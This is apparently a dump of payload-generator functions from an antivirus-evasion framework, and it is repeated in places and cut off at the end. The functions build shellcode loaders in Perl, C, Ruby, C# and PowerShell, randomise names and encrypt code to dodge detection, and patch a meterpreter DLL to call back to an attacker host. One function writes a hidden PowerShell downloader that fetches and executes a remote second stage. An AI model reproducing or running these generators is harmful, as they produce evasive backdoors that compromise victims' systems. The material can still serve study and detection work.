def generate(self): shellcode = self.shellcode.generate() # randomly generate out variable names payloadName = helpers.randomString() ptrName = helpers.randomString() payloadCode = "use Win32::API;\n" payloadCode += "my $%s = \"%s\";\n" % (payloadName, shellcode) payloadCode += "$VirtualAlloc = new Win32::API('kernel32', 'VirtualAlloc', 'IIII', 'I');\n" payloadCode += "$RtlMoveMemory = new Win32::API('kernel32', 'RtlMoveMemory', 'IPI', 'V');\n" payloadCode += "$CreateThread = new Win32::API('kernel32', 'CreateThread', 'IIIIIP', 'I');\n" payloadCode += "$WaitForSingleObject = new Win32::API('kernel32', 'WaitForSingleObject', 'II', 'I');\n" payloadCode += "my $%s = $VirtualAlloc->Call(0, length($%s), 0x1000, 0x40);\n" % ( ptrName, payloadName) payloadCode += "$RtlMoveMemory->Call($%s, $%s, length($%s));\n" % ( ptrName, payloadName, payloadName) payloadCode += "my $threadName = $CreateThread->Call(0, 0, $%s, 0, 0, 0);\n" % ( ptrName) payloadCode += "$WaitForSingleObject->Call($threadName, -1);\n" return payloadCode
def generate(self): # Generate Shellcode Using msfvenom Shellcode = self.shellcode.generate() # Generate Random Variable Names RandShellcode = helpers.randomString() RandReverseShell = helpers.randomString() RandMemoryShell = helpers.randomString() # Start creating our C payload PayloadCode = '#include <windows.h>\n' PayloadCode += '#include <stdio.h>\n' PayloadCode += '#include <string.h>\n' PayloadCode += 'int main()\n' PayloadCode += '{\n' PayloadCode += ' LPVOID lpvAddr;\n' PayloadCode += ' HANDLE hHand;\n' PayloadCode += ' DWORD dwWaitResult;\n' PayloadCode += ' DWORD threadID;\n\n' PayloadCode += 'unsigned char buff[] = \n' PayloadCode += '\"' + Shellcode + '\";\n\n' PayloadCode += 'lpvAddr = VirtualAlloc(NULL, strlen(buff),0x3000,0x40);\n' PayloadCode += 'RtlMoveMemory(lpvAddr,buff, strlen(buff));\n' PayloadCode += 'hHand = CreateThread(NULL,0,lpvAddr,NULL,0,&threadID);\n' PayloadCode += 'dwWaitResult = WaitForSingleObject(hHand,INFINITE);\n' PayloadCode += 'return 0;\n' PayloadCode += '}\n' return PayloadCode
def generate(self): Shellcode = self.shellcode.generate() # randomly generate out variable names payloadName = helpers.randomString() ptrName = helpers.randomString() threadName = helpers.randomString() heap_name = helpers.randomString() payloadCode = "require 'rubygems'\n" payloadCode += "require 'win32/api'\n" payloadCode += "include Win32\n" payloadCode += "exit if Object.const_defined?(:Ocra)\n" if self.required_options["inject_method"][0].lower() == "virtual": payloadCode += "v = API.new('VirtualAlloc', 'IIII', 'I');r = API.new('RtlMoveMemory', 'IPI', 'V');c = API.new('CreateThread', 'IIIIIP', 'I');w = API.new('WaitForSingleObject', 'II', 'I')\n" payloadCode += "%s = \"%s\"\n" %(payloadName, Shellcode) payloadCode += "%s = v.call(0,(%s.length > 0x1000 ? %s.length : 0x1000), 0x1000, 0x40)\n" %(ptrName,payloadName,payloadName) payloadCode += "x = r.call(%s,%s,%s.length); %s = c.call(0,0,%s,0,0,0); x = w.call(%s,0xFFFFFFF)\n" %(ptrName,payloadName,payloadName,threadName,ptrName,threadName) elif self.required_options["inject_method"][0].lower() == "heap": payloadCode += "v = API.new('HeapCreate', 'III', 'I');q = API.new('HeapAlloc', 'III', 'I');r = API.new('RtlMoveMemory', 'IPI', 'V');c = API.new('CreateThread', 'IIIIIP', 'I');w = API.new('WaitForSingleObject', 'II', 'I')\n" payloadCode += "%s = \"%s\"\n" %(payloadName, Shellcode) payloadCode += "%s = v.call(0x0004,(%s.length > 0x1000 ? %s.length : 0x1000), 0)\n" %(heap_name,payloadName,payloadName) payloadCode += "%s = q.call(%s, 0x00000008, %s.length)\n" %(ptrName,heap_name,payloadName) payloadCode += "x = r.call(%s,%s,%s.length); %s = c.call(0,0,%s,0,0,0); x = w.call(%s,86400)\n" %(ptrName,payloadName,payloadName,threadName,ptrName,threadName) return payloadCode
def generate(self): Shellcode = self.shellcode.generate() # randomly generate out variable names payloadName = helpers.randomString() ptrName = helpers.randomString() threadName = helpers.randomString() heap_name = helpers.randomString() payloadCode = "require 'rubygems'\n" payloadCode += "require 'win32/api'\n" payloadCode += "include Win32\n" payloadCode += "exit if Object.const_defined?(:Ocra)\n" if self.required_options["INJECT_METHOD"][0].lower() == "virtual": payloadCode += "v = API.new('VirtualAlloc', 'IIII', 'I');r = API.new('RtlMoveMemory', 'IPI', 'V');c = API.new('CreateThread', 'IIIIIP', 'I');w = API.new('WaitForSingleObject', 'II', 'I')\n" payloadCode += "%s = \"%s\"\n" % (payloadName, Shellcode) payloadCode += "%s = v.call(0,(%s.length > 0x1000 ? %s.length : 0x1000), 0x1000, 0x40)\n" % ( ptrName, payloadName, payloadName) payloadCode += "x = r.call(%s,%s,%s.length); %s = c.call(0,0,%s,0,0,0); x = w.call(%s,0xFFFFFFF)\n" % ( ptrName, payloadName, payloadName, threadName, ptrName, threadName) elif self.required_options["INJECT_METHOD"][0].lower() == "heap": payloadCode += "v = API.new('HeapCreate', 'III', 'I');q = API.new('HeapAlloc', 'III', 'I');r = API.new('RtlMoveMemory', 'IPI', 'V');c = API.new('CreateThread', 'IIIIIP', 'I');w = API.new('WaitForSingleObject', 'II', 'I')\n" payloadCode += "%s = \"%s\"\n" % (payloadName, Shellcode) payloadCode += "%s = v.call(0x0004,(%s.length > 0x1000 ? %s.length : 0x1000), 0)\n" % ( heap_name, payloadName, payloadName) payloadCode += "%s = q.call(%s, 0x00000008, %s.length)\n" % ( ptrName, heap_name, payloadName) payloadCode += "x = r.call(%s,%s,%s.length); %s = c.call(0,0,%s,0,0,0); x = w.call(%s,86400)\n" % ( ptrName, payloadName, payloadName, threadName, ptrName, threadName) return payloadCode
def generate(self): Shellcode = self.shellcode.generate(self.required_options) print Shellcode Shellcode = base64.b64encode(Shellcode) # randomly generate out variable names payloadName = helpers.randomString() ptrName = helpers.randomString() threadName = helpers.randomString() heap_name = helpers.randomString() payloadCode = "require 'rubygems'\n" payloadCode += "require 'win32/api'\n" payloadCode += "include Win32\n" payloadCode += "require 'base64'\n" payloadCode += "exit if Object.const_defined?(:Ocra)\n" if self.required_options["INJECT_METHOD"][0].lower() == "virtual": payloadCode += "v = API.new('VirtualAlloc', 'IIII', 'I');r = API.new('RtlMoveMemory', 'IPI', 'V');c = API.new('CreateThread', 'IIIIIP', 'I');w = API.new('WaitForSingleObject', 'II', 'I')\n" payloadCode += payloadName + ' = ["' + Shellcode + '".unpack("m")[0].delete("\\\\\\\\x")].pack("H*")\n' payloadCode += "%s = v.call(0,(%s.length > 0x1000 ? %s.length : 0x1000), 0x1000, 0x40)\n" % ( ptrName, payloadName, payloadName, ) payloadCode += "x = r.call(%s,%s,%s.length); %s = c.call(0,0,%s,0,0,0); x = w.call(%s,0xFFFFFFF)\n" % ( ptrName, payloadName, payloadName, threadName, ptrName, threadName, ) elif self.required_options["INJECT_METHOD"][0].lower() == "heap": payloadCode += "v = API.new('HeapCreate', 'III', 'I');q = API.new('HeapAlloc', 'III', 'I');r = API.new('RtlMoveMemory', 'IPI', 'V');c = API.new('CreateThread', 'IIIIIP', 'I');w = API.new('WaitForSingleObject', 'II', 'I')\n" payloadCode += payloadName + ' = ["' + Shellcode + '".unpack("m")[0].delete("\\\\\\\\x")].pack("H*")\n' payloadCode += "%s = v.call(0x0004,(%s.length > 0x1000 ? %s.length : 0x1000), 0)\n" % ( heap_name, payloadName, payloadName, ) payloadCode += "%s = q.call(%s, 0x00000008, %s.length)\n" % (ptrName, heap_name, payloadName) payloadCode += "x = r.call(%s,%s,%s.length); %s = c.call(0,0,%s,0,0,0); x = w.call(%s,86400)\n" % ( ptrName, payloadName, payloadName, threadName, ptrName, threadName, ) return payloadCode
def pyherion(code): """ Generates a crypted hyperion'esque version of python code using base64 and AES with a random key, wrapped in an exec() dynamic launcher. code = the python source code to encrypt Returns the encrypted python code as a string. """ imports = list() codebase = list() # strip out all imports from the code so pyinstaller can properly # launch the code by preimporting everything at compiletime for line in code.split("\n"): if not line.startswith("#"): # ignore commented imports... if "import" in line: imports.append(line) else: codebase.append(line) # generate a random 256 AES key and build our AES cipher key = helpers.randomKey(32) cipherEnc = AES.new(key) # encrypt the input file (less the imports) encrypted = EncodeAES(cipherEnc, "\n".join(codebase)) # some random variable names b64var = helpers.randomString(5) aesvar = helpers.randomString(5) # randomize our base64 and AES importing variable imports.append("from base64 import b64decode as %s" % (b64var)) imports.append("from Crypto.Cipher import AES as %s" % (aesvar)) # shuffle up our imports random.shuffle(imports) # add in the AES imports and any imports found in the file crypted = ";".join(imports) + "\n" # the exec() launcher for our base64'ed encrypted string crypted += "exec(%s(\"%s\"))" % ( b64var, base64.b64encode( "exec(%s.new(\"%s\").decrypt(%s(\"%s\")).rstrip('{'))\n" % (aesvar, key, b64var, encrypted))) return crypted
def generate(self): Shellcode = self.shellcode.generate() Shellcode = "0" + ",0".join(Shellcode.split("\\")[1:]) # randomize all our variable names, yo' namespaceName = helpers.randomString() className = helpers.randomString() bytearrayName = helpers.randomString() funcAddrName = helpers.randomString() hThreadName = helpers.randomString() threadIdName = helpers.randomString() pinfoName = helpers.randomString() # get 12 random variables for the API imports r = [helpers.randomString() for x in xrange(12)] payloadCode = "using System; using System.Net; using System.Net.Sockets; using System.Runtime.InteropServices;\n" payloadCode += "namespace %s { class %s { static void Main() {\n" % (namespaceName, className) payloadCode += "byte[] %s = {%s};" % (bytearrayName,Shellcode) payloadCode += "UInt32 %s = VirtualAlloc(0, (UInt32)%s.Length, 0x1000, 0x40);\n" % (funcAddrName, bytearrayName) payloadCode += "Marshal.Copy(%s, 0, (IntPtr)(%s), %s.Length);\n" % (bytearrayName, funcAddrName, bytearrayName) payloadCode += "IntPtr %s = IntPtr.Zero; UInt32 %s = 0; IntPtr %s = IntPtr.Zero;\n" %(hThreadName, threadIdName, pinfoName) payloadCode += "%s = CreateThread(0, 0, %s, %s, 0, ref %s);\n" % (hThreadName, funcAddrName, pinfoName, threadIdName) payloadCode += "WaitForSingleObject(%s, 0xFFFFFFFF);}\n" %(hThreadName) # payloadCode += "private static UInt32 MEM_COMMIT = 0x1000; private static UInt32 PAGE_EXECUTE_READWRITE = 0x40;\n" payloadCode += """[DllImport(\"kernel32\")] private static extern UInt32 VirtualAlloc(UInt32 %s,UInt32 %s, UInt32 %s, UInt32 %s);\n[DllImport(\"kernel32\")]private static extern IntPtr CreateThread(UInt32 %s, UInt32 %s, UInt32 %s,IntPtr %s, UInt32 %s, ref UInt32 %s);\n[DllImport(\"kernel32\")] private static extern UInt32 WaitForSingleObject(IntPtr %s, UInt32 %s); } }\n"""%(r[0],r[1],r[2],r[3],r[4],r[5],r[6],r[7],r[8],r[9],r[10],r[11]) if self.required_options["USE_ARYA"][0].lower() == "y": payloadCode = encryption.arya(payloadCode) return payloadCode
def generate(self): Shellcode = self.shellcode.generate(self.required_options) Shellcode = "0" + ",0".join(Shellcode.split("\\")[1:]) # randomize all our variable names, yo' namespaceName = helpers.randomString() className = helpers.randomString() bytearrayName = helpers.randomString() funcAddrName = helpers.randomString() hThreadName = helpers.randomString() threadIdName = helpers.randomString() pinfoName = helpers.randomString() # get 12 random variables for the API imports r = [helpers.randomString() for x in xrange(12)] payloadCode = "using System; using System.Net; using System.Net.Sockets; using System.Runtime.InteropServices;\n" payloadCode += "namespace %s { class %s { static void Main() {\n" % (namespaceName, className) payloadCode += "byte[] %s = {%s};" % (bytearrayName,Shellcode) payloadCode += "UInt32 %s = VirtualAlloc(0, (UInt32)%s.Length, 0x1000, 0x40);\n" % (funcAddrName, bytearrayName) payloadCode += "Marshal.Copy(%s, 0, (IntPtr)(%s), %s.Length);\n" % (bytearrayName, funcAddrName, bytearrayName) payloadCode += "IntPtr %s = IntPtr.Zero; UInt32 %s = 0; IntPtr %s = IntPtr.Zero;\n" %(hThreadName, threadIdName, pinfoName) payloadCode += "%s = CreateThread(0, 0, %s, %s, 0, ref %s);\n" % (hThreadName, funcAddrName, pinfoName, threadIdName) payloadCode += "WaitForSingleObject(%s, 0xFFFFFFFF);}\n" %(hThreadName) # payloadCode += "private static UInt32 MEM_COMMIT = 0x1000; private static UInt32 PAGE_EXECUTE_READWRITE = 0x40;\n" payloadCode += """[DllImport(\"kernel32\")] private static extern UInt32 VirtualAlloc(UInt32 %s,UInt32 %s, UInt32 %s, UInt32 %s);\n[DllImport(\"kernel32\")]private static extern IntPtr CreateThread(UInt32 %s, UInt32 %s, UInt32 %s,IntPtr %s, UInt32 %s, ref UInt32 %s);\n[DllImport(\"kernel32\")] private static extern UInt32 WaitForSingleObject(IntPtr %s, UInt32 %s); } }\n"""%(r[0],r[1],r[2],r[3],r[4],r[5],r[6],r[7],r[8],r[9],r[10],r[11]) if self.required_options["USE_ARYA"][0].lower() == "y": payloadCode = encryption.arya(payloadCode) return payloadCode
def generate(self): # Generate Shellcode Using msfvenom Shellcode = self.shellcode.generate() # Generate Random Variable Names RandShellcode = helpers.randomString() RandReverseShell = helpers.randomString() RandMemoryShell = helpers.randomString() # Start creating our C payload PayloadCode = 'unsigned char payload[]=\n' PayloadCode += '\"' + Shellcode + '\";\n' PayloadCode += 'int main(void) { ((void (*)())payload)();}\n' return PayloadCode
def generate(self): # randomize the output file so we don't overwrite anything randName = helpers.randomString(5) + ".exe" outputFile = settings.TEMP_DIR + randName if not os.path.isfile(self.required_options["ORIGINAL_EXE"][0]): print "\nError during Hyperion execution:\nInput file does not exist" raw_input("\n[>] Press any key to return to the main menu.") return "" print helpers.color("\n[*] Running Hyperion on " + self.required_options["ORIGINAL_EXE"][0] + "...") # the command to invoke hyperion. TODO: windows compatibility # be sure to set 'cwd' to the proper directory for hyperion so it properly runs p = subprocess.Popen(["wine", "hyperion.exe", self.required_options["ORIGINAL_EXE"][0], outputFile], stdout=subprocess.PIPE, stderr=subprocess.PIPE, cwd=settings.VEIL_EVASION_PATH+"tools/hyperion/", shell=True) stdout, stderr = p.communicate() try: # read in the output .exe from /tmp/ f = open(outputFile, 'rb') PayloadCode = f.read() f.close() except IOError: print "\nError during Hyperion execution:\n" + helpers.color(stdout, warning=True) raw_input("\n[>] Press any key to return to the main menu.") return "" # cleanup the temporary output file. TODO: windows compatibility if os.path.isfile(outputFile): p = subprocess.Popen(["rm", outputFile], stdout=subprocess.PIPE, stderr=subprocess.PIPE, shell=True) stdout, stderr = p.communicate() return PayloadCode
def generate(self): # randomize the output file so we don't overwrite anything randName = helpers.randomString(5) + ".exe" outputFile = settings.TEMP_DIR + randName # the command to invoke hyperion. TODO: windows compatibility peCommand = "wine PEScrambler.exe -i " + self.required_options["ORIGINAL_EXE"][0] + " -o " + outputFile print helpers.color("\n[*] Running PEScrambler on " + self.required_options["ORIGINAL_EXE"][0] + "...") # be sure to set 'cwd' to the proper directory for hyperion so it properly runs p = subprocess.Popen(peCommand, stdout=subprocess.PIPE, stderr=subprocess.PIPE, cwd=settings.VEIL_EVASION_PATH+"tools/pescrambler/", shell=True) time.sleep(3) stdout, stderr = p.communicate() try: # read in the output .exe from /tmp/ f = open(outputFile, 'rb') PayloadCode = f.read() f.close() except IOError: print "\nError during PEScrambler execution:\n" + helpers.color(stdout, warning=True) raw_input("\n[>] Press any key to return to the main menu.") return "" # cleanup the temporary output file. TODO: windows compatibility p = subprocess.Popen("rm " + outputFile, stdout=subprocess.PIPE, stderr=subprocess.PIPE, shell=True) stdout, stderr = p.communicate() return PayloadCode
def pyherion(code): """ Generates a crypted hyperion'esque version of python code using base64 and AES with a random key, wrapped in an exec() dynamic launcher. code = the python source code to encrypt Returns the encrypted python code as a string. """ imports = list() codebase = list() # strip out all imports from the code so pyinstaller can properly # launch the code by preimporting everything at compiletime for line in code.split("\n"): if not line.startswith("#"): # ignore commented imports... if "import" in line: imports.append(line) else: codebase.append(line) # generate a random 256 AES key and build our AES cipher key = helpers.randomKey(32) cipherEnc = AES.new(key) # encrypt the input file (less the imports) encrypted = EncodeAES(cipherEnc, "\n".join(codebase)) # some random variable names b64var = helpers.randomString(5) aesvar = helpers.randomString(5) # randomize our base64 and AES importing variable imports.append("from base64 import b64decode as %s" %(b64var)) imports.append("from Crypto.Cipher import AES as %s" %(aesvar)) # shuffle up our imports random.shuffle(imports) # add in the AES imports and any imports found in the file crypted = ";".join(imports) + "\n" # the exec() launcher for our base64'ed encrypted string crypted += "exec(%s(\"%s\"))" % (b64var,base64.b64encode("exec(%s.new(\"%s\").decrypt(%s(\"%s\")).rstrip('{'))\n" %(aesvar,key,b64var,encrypted))) return crypted
def buildAryaLauncher(raw): """ Takes a raw set of bytes and builds a launcher shell to b64decode/decrypt a string rep of the bytes, and then use reflection to invoke the original .exe """ # the 'key' is a randomized alpha lookup table [a-zA-Z] used for substitution key = ''.join(sorted(list(string.ascii_letters), key=lambda *args: random.random())) base64payload = b64sub(raw,key) payloadCode = "using System; using System.Collections.Generic; using System.Text;" payloadCode += "using System.IO; using System.Reflection; using System.Linq;\n" decodeFuncName = helpers.randomString() baseStringName = helpers.randomString() targetStringName = helpers.randomString() dictionaryName = helpers.randomString() # build out the letter sub decrypt function payloadCode += "namespace %s { class %s { private static string %s(string t, string k) {\n" % (helpers.randomString(), helpers.randomString(), decodeFuncName) payloadCode += "string %s = \"abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ\";\n" %(baseStringName) payloadCode += "string %s = \"\"; Dictionary<char, char> %s = new Dictionary<char, char>();\n" %(targetStringName,dictionaryName) payloadCode += "for (int i = 0; i < %s.Length; ++i){ %s.Add(k[i], %s[i]); }\n" %(baseStringName,dictionaryName,baseStringName) payloadCode += "for (int i = 0; i < t.Length; ++i){ if ((t[i] >= 'A' && t[i] <= 'Z') || (t[i] >= 'a' && t[i] <= 'z')) { %s += %s[t[i]];}\n" %(targetStringName, dictionaryName) payloadCode += "else { %s += t[i]; }} return %s; }\n" %(targetStringName,targetStringName) encodedDataName = helpers.randomString() base64PayloadName = helpers.randomString() assemblyName = helpers.randomString() # build out Main() assemblyName = helpers.randomString() methodInfoName = helpers.randomString() keyName = helpers.randomString() payloadCode += "static void Main() {\n" payloadCode += "string %s = \"%s\";\n" % (base64PayloadName, base64payload) payloadCode += "string %s = \"%s\";\n" %(keyName, key) # load up the assembly of the decoded binary payloadCode += "Assembly %s = Assembly.Load(Convert.FromBase64String(%s(%s, %s)));\n" %(assemblyName, decodeFuncName, base64PayloadName, keyName) payloadCode += "MethodInfo %s = %s.EntryPoint;\n" %(methodInfoName, assemblyName) # use reflection to jump to its entry point payloadCode += "%s.Invoke(%s.CreateInstance(%s.Name), null);\n" %(methodInfoName, assemblyName, methodInfoName) payloadCode += "}}}\n" return payloadCode
def generate(self): # get the main meterpreter .dll with the header/loader patched meterpreterDll = patch.headerPatch() # turn on SSL meterpreterDll = patch.patchTransport(meterpreterDll, True) # replace the URL urlString = "https://" + self.required_options['LHOST'][0] + ":" + str( self.required_options['LPORT'] [0]) + "/" + helpers.genHTTPChecksum() + "/\x00" meterpreterDll = patch.patchURL(meterpreterDll, urlString) # replace in the UA meterpreterDll = patch.patchUA( meterpreterDll, "Mozilla/4.0 (compatible; MSIE 6.1; Windows NT)\x00") # compress/base64 encode the dll compressedDll = helpers.deflate(meterpreterDll) # actually build out the payload payloadCode = "" payloadCode = "require 'rubygems';require 'win32/api';require 'socket';require 'base64';require 'zlib';include Win32\n" payloadCode += "exit if Object.const_defined?(:Ocra)\n" # randomly generate out variable names payloadName = helpers.randomString().lower() ptrName = helpers.randomString().lower() threadName = helpers.randomString().lower() Shellcode = helpers.randomString().lower() randInflateFuncName = helpers.randomString().lower() randb64stringName = helpers.randomString().lower() randVarName = helpers.randomString().lower() # deflate function payloadCode += "def " + randInflateFuncName + "(" + randb64stringName + ")\n" payloadCode += " " + randVarName + " = Base64.decode64(" + randb64stringName + ")\n" payloadCode += " zstream = Zlib::Inflate.new(-Zlib::MAX_WBITS)\n" payloadCode += " buf = zstream.inflate(" + randVarName + ")\n" payloadCode += " zstream.finish\n" payloadCode += " zstream.close\n" payloadCode += " return buf\n" payloadCode += "end\n\n" payloadCode += Shellcode + " = " + randInflateFuncName + "(\"" + compressedDll + "\")\n" payloadCode += "v = API.new('VirtualAlloc', 'IIII', 'I');r = API.new('RtlMoveMemory', 'IPI', 'V');c = API.new('CreateThread', 'IIIIIP', 'I');w = API.new('WaitForSingleObject', 'II', 'I')\n" payloadCode += "%s = %s\n" % (payloadName, Shellcode) payloadCode += "%s = v.call(0,(%s.length > 0x1000 ? %s.length : 0x1000), 0x1000, 0x40)\n" % ( ptrName, payloadName, payloadName) payloadCode += "x = r.call(%s,%s,%s.length); %s = c.call(0,0,%s,0,0,0); x = w.call(%s,0xFFFFFFF)\n" % ( ptrName, payloadName, payloadName, threadName, ptrName, threadName) #if self.required_options["USE_CRYPTER"][0].lower() == "y": # payloadCode = encryption.rubyCrypter(payloadCode) return payloadCode
def generate(self): Shellcode = self.shellcode.generate(self.required_options) Shellcode = ",0".join(Shellcode.split("\\"))[1:] baseString = """$c = @" [DllImport("kernel32.dll")] public static extern IntPtr VirtualAlloc(IntPtr w, uint x, uint y, uint z); [DllImport("kernel32.dll")] public static extern IntPtr CreateThread(IntPtr u, uint v, IntPtr w, IntPtr x, uint y, IntPtr z); [DllImport("msvcrt.dll")] public static extern IntPtr memset(IntPtr x, uint y, uint z); "@ $o = Add-Type -memberDefinition $c -Name "Win32" -namespace Win32Functions -passthru $x=$o::VirtualAlloc(0,0x1000,0x3000,0x40); [Byte[]]$sc = %s; for ($i=0;$i -le ($sc.Length-1);$i++) {$o::memset([IntPtr]($x.ToInt32()+$i), $sc[$i], 1) | out-null;} $z=$o::CreateThread(0,0,$x,0,0,0); Start-Sleep -Second 100000""" % (Shellcode) powershell_command = unicode(baseString) blank_command = "" for char in powershell_command: blank_command += char + "\x00" powershell_command = blank_command powershell_command = base64.b64encode(powershell_command) payloadName = helpers.randomString() # write base64 payload out to disk settings.PAYLOAD_SOURCE_PATH secondStageName = settings.PAYLOAD_SOURCE_PATH + payloadName f = open(secondStageName, 'w') f.write("powershell -Enc %s\n" % (powershell_command)) f.close() # give notes to the user self.notes = "\n\tsecondary payload written to " + secondStageName + " ," self.notes += " serve this on http://%s:%s\n" % ( self.required_options["DOWNLOAD_HOST"][0], self.required_options["DOWNLOAD_PORT"][0], ) # build our downloader shell downloaderCommand = "[Net.ServicePointManager]::ServerCertificateValidationCallback = {$true}\n" downloaderCommand += "iex (New-Object Net.WebClient).DownloadString(\"https://%s:%s/%s\")\n" % ( self.required_options["DOWNLOAD_HOST"][0], self.required_options["DOWNLOAD_PORT"][0], payloadName) powershell_command = unicode(downloaderCommand) blank_command = "" for char in powershell_command: blank_command += char + "\x00" powershell_command = blank_command powershell_command = base64.b64encode(powershell_command) downloaderCode = "@echo off\n" downloaderCode += "if %PROCESSOR_ARCHITECTURE%==x86 (\n" downloaderCode += "\tpowershell -NoP -NonI -W Hidden -Exec Bypass -Enc " + powershell_command downloaderCode += ") \nelse (\n" downloaderCode += "\t%WinDir%\\syswow64\\windowspowershell\\v1.0\\powershell.exe -NoP -NonI -W Hidden -Exec Bypass -Enc " + powershell_command + "\n" return downloaderCode
def generate(self): Shellcode = self.shellcode.generate(self.required_options) Shellcode = ",0".join(Shellcode.split("\\"))[1:] baseString = """$c = @" [DllImport("kernel32.dll")] public static extern IntPtr VirtualAlloc(IntPtr w, uint x, uint y, uint z); [DllImport("kernel32.dll")] public static extern IntPtr CreateThread(IntPtr u, uint v, IntPtr w, IntPtr x, uint y, IntPtr z); [DllImport("msvcrt.dll")] public static extern IntPtr memset(IntPtr x, uint y, uint z); "@ $o = Add-Type -memberDefinition $c -Name "Win32" -namespace Win32Functions -passthru $x=$o::VirtualAlloc(0,0x1000,0x3000,0x40); [Byte[]]$sc = %s; for ($i=0;$i -le ($sc.Length-1);$i++) {$o::memset([IntPtr]($x.ToInt32()+$i), $sc[$i], 1) | out-null;} $z=$o::CreateThread(0,0,$x,0,0,0); Start-Sleep -Second 100000""" % (Shellcode) powershell_command = unicode(baseString) blank_command = "" for char in powershell_command: blank_command += char + "\x00" powershell_command = blank_command powershell_command = base64.b64encode(powershell_command) payloadName = helpers.randomString() # write base64 payload out to disk settings.PAYLOAD_SOURCE_PATH secondStageName = settings.PAYLOAD_SOURCE_PATH + payloadName f = open( secondStageName , 'w') f.write("powershell -Enc %s\n" %(powershell_command)) f.close() # give notes to the user self.notes = "\n\tsecondary payload written to " + secondStageName + " ," self.notes += " serve this on http://%s:%s\n" %(self.required_options["DOWNLOAD_HOST"][0], self.required_options["DOWNLOAD_PORT"][0],) # build our downloader shell downloaderCommand = "[Net.ServicePointManager]::ServerCertificateValidationCallback = {$true}\n" downloaderCommand += "iex (New-Object Net.WebClient).DownloadString(\"https://%s:%s/%s\")\n" %(self.required_options["DOWNLOAD_HOST"][0], self.required_options["DOWNLOAD_PORT"][0], payloadName) powershell_command = unicode(downloaderCommand) blank_command = "" for char in powershell_command: blank_command += char + "\x00" powershell_command = blank_command powershell_command = base64.b64encode(powershell_command) downloaderCode = "@echo off\n" downloaderCode += "if %PROCESSOR_ARCHITECTURE%==x86 (\n" downloaderCode += "\tpowershell -NoP -NonI -W Hidden -Exec Bypass -Enc " + powershell_command downloaderCode += ") \nelse (\n" downloaderCode += "\t%WinDir%\\syswow64\\windowspowershell\\v1.0\\powershell.exe -NoP -NonI -W Hidden -Exec Bypass -Enc " + powershell_command + "\n" return downloaderCode
def generate(self): Shellcode = self.shellcode.generate() # randomly generate out variable names payloadName = helpers.randomString() ptrName = helpers.randomString() threadName = helpers.randomString() payloadCode = "require 'rubygems'\n" payloadCode += "require 'win32/api'\n" payloadCode += "include Win32\n" payloadCode += "exit if Object.const_defined?(:Ocra)\n" payloadCode += "v = API.new('VirtualAlloc', 'IIII', 'I');r = API.new('RtlMoveMemory', 'IPI', 'V');c = API.new('CreateThread', 'IIIIIP', 'I');w = API.new('WaitForSingleObject', 'II', 'I')\n" payloadCode += "%s = \"%s\"\n" % (payloadName, Shellcode) payloadCode += "%s = v.call(0,(%s.length > 0x1000 ? %s.length : 0x1000), 0x1000, 0x40)\n" % ( ptrName, payloadName, payloadName) payloadCode += "x = r.call(%s,%s,%s.length); %s = c.call(0,0,%s,0,0,0); x = w.call(%s,0xFFFFFFF)\n" % ( ptrName, payloadName, payloadName, threadName, ptrName, threadName) return payloadCode
def generate(self): # Generate Shellcode Using msfvenom Shellcode = self.shellcode.generate(self.required_options) # build our your payload sourcecode PayloadCode = "..." # add in a randomized string PayloadCode += helpers.randomString() # return everything return PayloadCode
def generate(self): # get the main meterpreter .dll with the header/loader patched meterpreterDll = patch.headerPatch() # turn on SSL meterpreterDll = patch.patchTransport(meterpreterDll, False) # replace the URL urlString = "http://" + self.required_options['LHOST'][0] + ":" + str(self.required_options['LPORT'][0]) + "/" + helpers.genHTTPChecksum() + "/\x00" meterpreterDll = patch.patchURL(meterpreterDll, urlString) # replace in the UA meterpreterDll = patch.patchUA(meterpreterDll, "Mozilla/4.0 (compatible; MSIE 6.1; Windows NT)\x00") # compress/base64 encode the dll compressedDll = helpers.deflate(meterpreterDll) # actually build out the payload payloadCode = "" payloadCode = "require 'rubygems';require 'win32/api';require 'socket';require 'base64';require 'zlib';include Win32\n" payloadCode += "exit if Object.const_defined?(:Ocra)\n" # randomly generate out variable names payloadName = helpers.randomString().lower() ptrName = helpers.randomString().lower() threadName = helpers.randomString().lower() Shellcode = helpers.randomString().lower() randInflateFuncName = helpers.randomString().lower() randb64stringName = helpers.randomString().lower() randVarName = helpers.randomString().lower() # deflate function payloadCode += "def "+randInflateFuncName+"("+randb64stringName+")\n" payloadCode += " " + randVarName + " = Base64.decode64("+randb64stringName+")\n" payloadCode += " zstream = Zlib::Inflate.new(-Zlib::MAX_WBITS)\n" payloadCode += " buf = zstream.inflate("+ randVarName +")\n" payloadCode += " zstream.finish\n" payloadCode += " zstream.close\n" payloadCode += " return buf\n" payloadCode += "end\n\n" payloadCode += Shellcode + " = " + randInflateFuncName + "(\"" + compressedDll + "\")\n" payloadCode += "v = API.new('VirtualAlloc', 'IIII', 'I');r = API.new('RtlMoveMemory', 'IPI', 'V');c = API.new('CreateThread', 'IIIIIP', 'I');w = API.new('WaitForSingleObject', 'II', 'I')\n" payloadCode += "%s = %s\n" %(payloadName, Shellcode) payloadCode += "%s = v.call(0,(%s.length > 0x1000 ? %s.length : 0x1000), 0x1000, 0x40)\n" %(ptrName,payloadName,payloadName) payloadCode += "x = r.call(%s,%s,%s.length); %s = c.call(0,0,%s,0,0,0); x = w.call(%s,0xFFFFFFF)\n" %(ptrName,payloadName,payloadName,threadName,ptrName,threadName) if self.required_options["USE_CRYPTER"][0].lower() == "y": payloadCode = encryption.rubyCrypter(payloadCode) return payloadCode
def generate(self): shellcode = self.shellcode.generate() # randomly generate out variable names payloadName = helpers.randomString() ptrName = helpers.randomString() payloadCode = "use Win32::API;\n" payloadCode += "my $%s = \"%s\";\n" % (payloadName, shellcode) payloadCode += "$VirtualAlloc = new Win32::API('kernel32', 'VirtualAlloc', 'IIII', 'I');\n" payloadCode += "$RtlMoveMemory = new Win32::API('kernel32', 'RtlMoveMemory', 'IPI', 'V');\n" payloadCode += "$CreateThread = new Win32::API('kernel32', 'CreateThread', 'IIIIIP', 'I');\n" payloadCode += "$WaitForSingleObject = new Win32::API('kernel32', 'WaitForSingleObject', 'II', 'I');\n" payloadCode += "my $%s = $VirtualAlloc->Call(0, length($%s), 0x1000, 0x40);\n" % (ptrName, payloadName) payloadCode += "$RtlMoveMemory->Call($%s, $%s, length($%s));\n" % (ptrName, payloadName, payloadName ) payloadCode += "my $threadName = $CreateThread->Call(0, 0, $%s, 0, 0, 0);\n" % (ptrName) payloadCode += "$WaitForSingleObject->Call($threadName, 